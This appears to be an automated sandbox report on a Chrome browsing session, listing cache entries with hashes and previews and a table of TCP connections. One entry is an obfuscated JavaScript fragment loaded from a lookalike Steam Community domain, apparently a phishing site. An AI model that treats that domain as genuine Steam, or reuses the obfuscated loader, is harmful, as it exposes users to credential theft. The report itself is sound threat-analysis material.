SSDEEP:	3072:92u8UVOyWhouuQAGt7xZtsbMnBBsb0vaROMMNefopab0ErWlAuROMMNefopab0qr:92u8YOvPuktxYROMMNefopab0ErWlAu1
MD5:	B52A187C21D0264BC01F11DF5E8DBC40
SHA1:	5DECA53E04C9A303B79F0BAF6EA8F832D3795BA8
SHA-256:	101204743A44875D6879E53352804F2D8442832B0E33A76C64641FA932E2C88B
SHA-512:	FAC8D5B2CDE067E3F1A8E8534F6A53546AF73A0D7BF95B893863E7EF6CE019B7B878884C7AC6A5F4A93B81FAA6789D6A687E21BE646412F26A4ED2B0BEB06FE3
Malicious:	false
Reputation:	low
Preview:	(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const o of i)if(o.type==="childList")for(const c of o.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&r(c)}).observe(document,{childList:!0,subtree:!0});function n(i){const o={};return i.integrity&&(o.integrity=i.integrity),i.referrerPolicy&&(o.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?o.credentials="include":i.crossOrigin==="anonymous"?o.credentials="omit":o.credentials="same-origin",o}function r(i){if(i.ep)return;i.ep=!0;const o=n(i);fetch(i.href,o)}})();function lt(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var ut={exports:{}},ke={};const Ot=React;/*. @license React. * react-jsx-runtime.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licens

Chrome Cache Entry: 526

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (4458), with CRLF line terminators
Category:	dropped
Size (bytes):	156982
Entropy (8bit):	5.435620292080094
Encrypted:	false
SSDEEP:	1536:D11KAh60MhmjGFhB1e5lnl9b/PdVcTzWMGEN3qxVqGoteFANNfsf9M6kQuOEmTdh:808B1e5/9b3dVcj9qVqZrrUEvm
MD5:	9CAB64AE7399518E41E6B1CBDB12046D
SHA1:	1DD2DD1313D0E197E986F37284ED8EC4DF08AFF5
SHA-256:	A61DF7D1067A60F7179FF71071A3D8AC030DD3B36F40A3D51DE87A97106E2693
SHA-512:	D4A3C7DB2B80FFD8BECF08EF7BC74661581B006EFDC2FF018D4FB4651BF1ABD8ECA76901202C75DA9B80D1FFEE0FA316CE7E38202A3AE223CA3C6E47DC8F9371
Malicious:	false
Reputation:	low
Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 527

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 646 x 250, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	4904
Entropy (8bit):	7.899029446643728
Encrypted:	false
SSDEEP:	96:OdBnjzG7DZTxqIfy33nn/qf46vhPQuAgul5SZBsj51v1f:OdBnjwDZTx5fy33no4ShRjuX2sd1vt
MD5:	1E91D02CF5A902F38F2923C006D79281
SHA1:	CB8126B32C2274E0394246B40BD0B7F9F847E44C
SHA-256:	F72611E2DF8E88204009FD896D05D5E8E83C77009C63943BBFFA169559934849
SHA-512:	54B69544DC55ADDC0B2DDC08418D1A0A34240697070FE47FEAE9E915C70D33EF662CE1B7154CBCAD84019D22F3291F138CC7298224D381CC740C2097478D4042
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............+v.....PLTEGpLWWW^^^fffnnnaaaxxx.........sss\\\.........hhhIII**.........sss...444}}}...>>>SSSYYYjjj...}}}^^^ @@@ppp......```000PPP....J$._/'~>$t9.T.5..........................................D4.S1.N....................... ...I..kkk..................zzz....?.......!i4...$]c....2d.:.....:u.B..=.....8.N..nS.:.N.......?/.;.N......=.N~^......^G.?.N....v.@.NO;..j...............<.T/#.5.\..7L...xK.OY.C5.q#.n!.2(9...;/I...?2u"..!...;..X....%...K..7+I..g...&.,..H..G..E..FFu..a.... tRNS.:..........................j...N}......IDATx...Ub.@.E..I71.0.....C.5.............................?...._.r..[........E...v^Ne...E;+..l..n..c...]w..\|r...m>.w=...2..5.+......tW..].........6m.i..).Y.h.B.k....j.......T.l.\.<...T.H2.._...a.....u...e.}.Op...J.....I.j.....>.C...&.tW.T0Kr..I..4.v.].OrSie..!O.......!......!.g..Z.0......r..\|4.h.t..{.............N...fi..-R....LH9#....7I$..$..o.T....8......@A<y..s....K...%Wt.y.z..].i.h...T..l.E6.....S7C

Chrome Cache Entry: 528

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (52909), with no line terminators
Category:	downloaded
Size (bytes):	52917
Entropy (8bit):	5.292876158961998
Encrypted:	false
SSDEEP:	1536:lBb2XHzZBzQZXIJKSaTFsyNv4JePKcS1ITzrMzHazXZhB0XY5s:nb233Q6JKSaTFsyNv4JePKcS1ITzrMzH
MD5:	5FD943794440DEE4D1865B9203FD1577
SHA1:	751295129DF43A924D24330B8E2652399F5A18DE
SHA-256:	84227D83C7A95DD965FB12024B63A42E275DF9F1C755AF8C86F92A52A35BCDF9
SHA-512:	C202B209199680BB969D3F7BAE6AD43583212B49F18941A1F885CA2047EE5E4384222180D66E9B8EA048DE8AAE88415A88D2CAE81B3BC95B2EF8E2F13B58C498
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/20412b512e08005d5856534b.js
Preview:	function _0x46ad(_0x20cd8b,_0xd5e100){const _0x110dbf=_0x110d();return _0x46ad=function(_0x46ad1b,_0x4f9ff3){_0x46ad1b=_0x46ad1b-0x18d;let _0xadc16c=_0x110dbf[_0x46ad1b];return _0xadc16c;},_0x46ad(_0x20cd8b,_0xd5e100);}(function(_0x2f05a7,_0x2cecd5){const _0x4d1ffc=_0x46ad,_0x595ed1=_0x2f05a7();while(!![]){try{const _0x3b298d=-parseInt(_0x4d1ffc(0x1c3))/0x1+-parseInt(_0x4d1ffc(0x231))/0x2+-parseInt(_0x4d1ffc(0x235))/0x3+parseInt(_0x4d1ffc(0x24f))/0x4(parseInt(_0x4d1ffc(0x1f5))/0x5)+parseInt(_0x4d1ffc(0x224))/0x6(parseInt(_0x4d1ffc(0x234))/0x7)+-parseInt(_0x4d1ffc(0x285))/0x8+parseInt(_0x4d1ffc(0x29b))/0x9;if(_0x3b298d===_0x2cecd5)break;else _0x595ed1['push'](_0x595ed1['shift']());}catch(_0x139b8a){_0x595ed1['push'](_0x595ed1['shift']());}}}(_0x110d,0x951f0),((()=>{const _0x4b85b2=_0x46ad;var _0x19e3ce=Object[_0x4b85b2(0x199)],_0x353478=Object['defineProperty'],_0x187537=Object[_0x4b85b2(0x223)],_0x1d1f0e=Object[_0x4b85b2(0x1c4)],_0x596794=Object[_0x4b85b2(0x1c0)],_0x389621=Object[_0x

Chrome Cache Entry: 529

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 26, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3737
Entropy (8bit):	7.906671945599965
Encrypted:	false
SSDEEP:	96:OSDZ/I09Da01l+gmkyTt6Hk8nTqviwYZP2H51:OSDS0tKg9E05Tqviw6451
MD5:	1626F52ADDB7C56FE3679D82108C62E9
SHA1:	2B414092D66ECFF528950093A655F755C3C7F3B5
SHA-256:	AE9F6C61E25D15882BF57BDE193D10D375BD315C9741CABDA11D700FD1BB7DD1
SHA-512:	05548831477CC421556C404F3411F581E98A84FF2E699882CB4F5DCA17D1C5F77B55ED2B8211EEC32D0A4317BE1C4EBC636277F840262491B753415F6F198276
Malicious:	false
Reputation:	low
URL:	https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Preview:	.PNG........IHDR...`.........H!Y.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 530

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90", baseline, precision 8, 32x32, components 3
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.459664429384581
Encrypted:	false
SSDEEP:	24:5f+b0o0XxDuLHeOWXG4OZ7DAJuLHenX3bq1qvFFEHJS8Bsdcgt5iv6QBO25+b0:5fIFuERAZgCFSH5Bsd9Cvty0
MD5:	BA4E51640291BB03CBD41951D9672584
SHA1:	0BBB630D63262DD66D2FDD0F7D37E8661A410075
SHA-256:	3520B13DD1A7954829EB15CD6ABAFCE4F908EA5C624B9DE40C25CCAEFF74F87B
SHA-512:	244A8848BD0D21B9E6B608244346FD4837E513ACF88B2C9599F921530AD440C9737C2B33E253CFBDC163453C9114F15B669410B1C55109DE44A883A5181EF564
Malicious:	false
Reputation:	low
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90....C....................................................................C....................................................................... . .."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......!.k.TZ..$.\...[.2....1h.q.I+a~...W..em.x...5....t?...n.MW..V.a.-.. .....u.Q.z..r+...r.%....#.JX\...C....9E^V...e....4$.u...d.....w..o..<K../.....&........6p.>.5......}:+......8.3.........i......e...8.3.....j)..#.'{.7-.,%z..E..Q.....xG.......4E...E'.a2..A....M..............~6.>.u.W..o..~.

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 6, 2024 14:08:03.452914000 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 6, 2024 14:08:03.452923059 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 6, 2024 14:08:03.546807051 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 6, 2024 14:08:13.140402079 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 6, 2024 14:08:13.202894926 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 6, 2024 14:08:13.327894926 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 6, 2024 14:08:14.800898075 CEST	443	49703	23.1.237.91	192.168.2.5
Oct 6, 2024 14:08:14.801004887 CEST	49703	443	192.168.2.5	23.1.237.91
Oct 6, 2024 14:08:15.773806095 CEST	49709	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:15.773902893 CEST	443	49709	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:15.773997068 CEST	49709	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:15.774090052 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:15.774111032 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:15.774175882 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:15.844028950 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:15.844069958 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:15.844192028 CEST	49709	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:15.844216108 CEST	443	49709	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.310441971 CEST	443	49709	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.317248106 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.330879927 CEST	49709	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.330935955 CEST	443	49709	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.331476927 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.331496000 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.334745884 CEST	443	49709	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.334767103 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.334827900 CEST	49709	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.334875107 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.346478939 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.346802950 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.389794111 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.389830112 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.439887047 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.467794895 CEST	49709	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.468102932 CEST	443	49709	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.468703032 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.515402079 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.535876989 CEST	49709	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.535896063 CEST	443	49709	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.738678932 CEST	49709	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.775934935 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.776115894 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.776180029 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.776192904 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.776490927 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.776545048 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.776551962 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.777465105 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.777519941 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.777530909 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.777607918 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.777657032 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.777663946 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.780734062 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.780800104 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.780806065 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.780889988 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.780941010 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.780947924 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.832458973 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.863238096 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.863455057 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.863512993 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.863531113 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.863626957 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.863679886 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.863692999 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.864370108 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:16.864440918 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.946443081 CEST	49710	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:16.946477890 CEST	443	49710	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:17.336905956 CEST	49709	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:17.346041918 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:17.346096039 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:17.346165895 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:17.346371889 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:17.346381903 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:17.379414082 CEST	443	49709	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:17.745306015 CEST	443	49709	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:17.745502949 CEST	443	49709	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:17.745599985 CEST	49709	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:17.751374960 CEST	49709	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:17.751440048 CEST	443	49709	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:17.975768089 CEST	49714	443	192.168.2.5	216.58.206.68
Oct 6, 2024 14:08:17.975802898 CEST	443	49714	216.58.206.68	192.168.2.5
Oct 6, 2024 14:08:17.975876093 CEST	49714	443	192.168.2.5	216.58.206.68
Oct 6, 2024 14:08:17.976123095 CEST	49714	443	192.168.2.5	216.58.206.68
Oct 6, 2024 14:08:17.976129055 CEST	443	49714	216.58.206.68	192.168.2.5
Oct 6, 2024 14:08:17.979888916 CEST	49715	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:17.979937077 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:17.980016947 CEST	49715	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:17.980509043 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:17.980547905 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:17.980649948 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:17.980844975 CEST	49715	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:17.980870962 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:17.981113911 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:17.981129885 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:17.995188951 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:17.995424032 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:17.995435953 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:17.996866941 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:17.996948004 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:17.998780012 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:17.998859882 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:17.999358892 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:17.999367952 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.050652981 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:18.272767067 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.272826910 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.272847891 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.272869110 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.272895098 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:18.272912025 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.272933006 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.272938013 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:18.272959948 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:18.272965908 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.272980928 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:18.273015976 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:18.380393982 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.380455971 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.380506039 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:18.380534887 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.380564928 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:18.380574942 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:18.394725084 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.395042896 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:18.398384094 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.398458958 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:18.398474932 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.398515940 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:18.398577929 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.398693085 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:18.444969893 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.445154905 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.537487030 CEST	49715	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:18.539565086 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:18.618575096 CEST	443	49714	216.58.206.68	192.168.2.5
Oct 6, 2024 14:08:18.658871889 CEST	49714	443	192.168.2.5	216.58.206.68
Oct 6, 2024 14:08:18.677953959 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:18.677992105 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.678309917 CEST	49715	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:18.678350925 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.678858042 CEST	49714	443	192.168.2.5	216.58.206.68
Oct 6, 2024 14:08:18.678872108 CEST	443	49714	216.58.206.68	192.168.2.5
Oct 6, 2024 14:08:18.678883076 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.679382086 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.679881096 CEST	49715	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:18.679974079 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.680664062 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:18.680845976 CEST	443	49716	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.681528091 CEST	49715	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:18.681545973 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.682188034 CEST	443	49714	216.58.206.68	192.168.2.5
Oct 6, 2024 14:08:18.682408094 CEST	49714	443	192.168.2.5	216.58.206.68
Oct 6, 2024 14:08:18.687954903 CEST	49714	443	192.168.2.5	216.58.206.68
Oct 6, 2024 14:08:18.688038111 CEST	443	49714	216.58.206.68	192.168.2.5
Oct 6, 2024 14:08:18.695957899 CEST	49712	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:18.695982933 CEST	443	49712	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.738768101 CEST	49714	443	192.168.2.5	216.58.206.68
Oct 6, 2024 14:08:18.738780975 CEST	443	49714	216.58.206.68	192.168.2.5
Oct 6, 2024 14:08:18.763925076 CEST	49717	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:18.763967037 CEST	443	49717	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:18.764030933 CEST	49717	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:18.764960051 CEST	49717	443	192.168.2.5	172.67.175.206
Oct 6, 2024 14:08:18.764971018 CEST	443	49717	172.67.175.206	192.168.2.5
Oct 6, 2024 14:08:18.787410021 CEST	49714	443	192.168.2.5	216.58.206.68
Oct 6, 2024 14:08:18.806775093 CEST	49718	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:18.806809902 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.806869030 CEST	49718	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:18.807337999 CEST	49718	443	192.168.2.5	104.102.49.254
Oct 6, 2024 14:08:18.807349920 CEST	443	49718	104.102.49.254	192.168.2.5
Oct 6, 2024 14:08:18.830502987 CEST	49716	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:18.994410992 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.994796991 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.994820118 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.994848967 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.994851112 CEST	49715	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:18.994877100 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.994895935 CEST	49715	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:18.995646000 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.995687008 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.995697021 CEST	49715	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:18.995704889 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.995743990 CEST	49715	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:18.996550083 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.999505997 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:18.999548912 CEST	49715	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:18.999562025 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.082953930 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.082999945 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.083014965 CEST	49715	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.083030939 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.083070040 CEST	49715	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.083076000 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.083142042 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.083193064 CEST	49715	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.160067081 CEST	49715	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:19.160120010 CEST	443	49715	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:19.236268997 CEST	443	49717	172.67.175.206	192.168.2.5
